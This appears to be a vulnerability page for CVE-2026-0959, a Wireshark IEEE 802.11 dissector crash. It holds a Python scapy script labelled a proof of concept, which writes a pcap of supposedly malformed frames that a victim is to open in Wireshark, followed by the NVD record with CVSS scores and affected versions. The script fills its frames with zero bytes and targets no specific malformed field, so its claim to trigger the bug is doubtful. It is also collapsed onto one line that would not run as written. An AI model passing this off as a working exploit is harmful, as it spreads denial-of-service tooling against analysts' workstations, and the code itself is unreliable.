CVE-2026-0959

#!/usr/bin/env python3 # CVE-2026-0959 PoC - Malicious IEEE 802.11 Frame Generator # This PoC generates a malformed 802.11 frame that triggers Wireshark dissector crash from scapy.all import RadioTap, Dot11, Dot11Beacon, Dot11Elt from scapy.layers.dot11 import Dot11, Dot11Beacon import struct def create_malformed_80211_frame(): """Generate a malformed IEEE 802.11 frame for CVE-2026-0959""" # Create RadioTap header with malformed length radio = RadioTap()/b'\x00' * 50 # Malformed RadioTap header # Create malformed Dot11 frame # Set invalid frame control field and length values dot11 = Dot11( type=2, # Data frame subtype=0, # No subtype FCfield=0, ID=0, addr1='ff:ff:ff:ff:ff:ff', addr2='aa:bb:cc:dd:ee:ff', addr3='aa:bb:cc:dd:ee:ff' ) # Add malformed payload with invalid length fields payload = b'\x00' * 200 # Malformed payload frame = radio / dot11 / payload return frame def save_pcap(filename): """Save malformed frames to pcap file""" from scapy.all import wrpcap frames = [create_malformed_80211_frame() for _ in range(10)] wrpcap(filename, frames) print(f"Malicious pcap saved to {filename}") if __name__ == '__main__': save_pcap('cve_2026_0959_poc.pcap') print("PoC generated. Open with Wireshark to trigger vulnerability.")

{"cve": {"id": "CVE-2026-0959", "sourceIdentifier": "[email protected]", "published": "2026-01-14T21:15:52.753", "lastModified": "2026-01-21T18:44:54.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IEEE 802.11 protocol dissector crash in Wireshark 4.6.0 to 4.6.2 and 4.4.0 to 4.4.12 allows denial of service"}, {"lang": "es", "value": "Fallo del disector del protocolo IEEE 802.11 en Wireshark 4.6.0 a 4.6.2 y 4.4.0 a 4.4.12 permite la denegación de servicio"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.13", "matchCriteriaId": "16FECE03-940B-47CD-895B-7D9485F05357"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndExcluding": "4.6.3", "matchCriteriaId": "60A9FC59-FB67-46A7-9A4B-EE8FCC8CE24A"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/20939", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}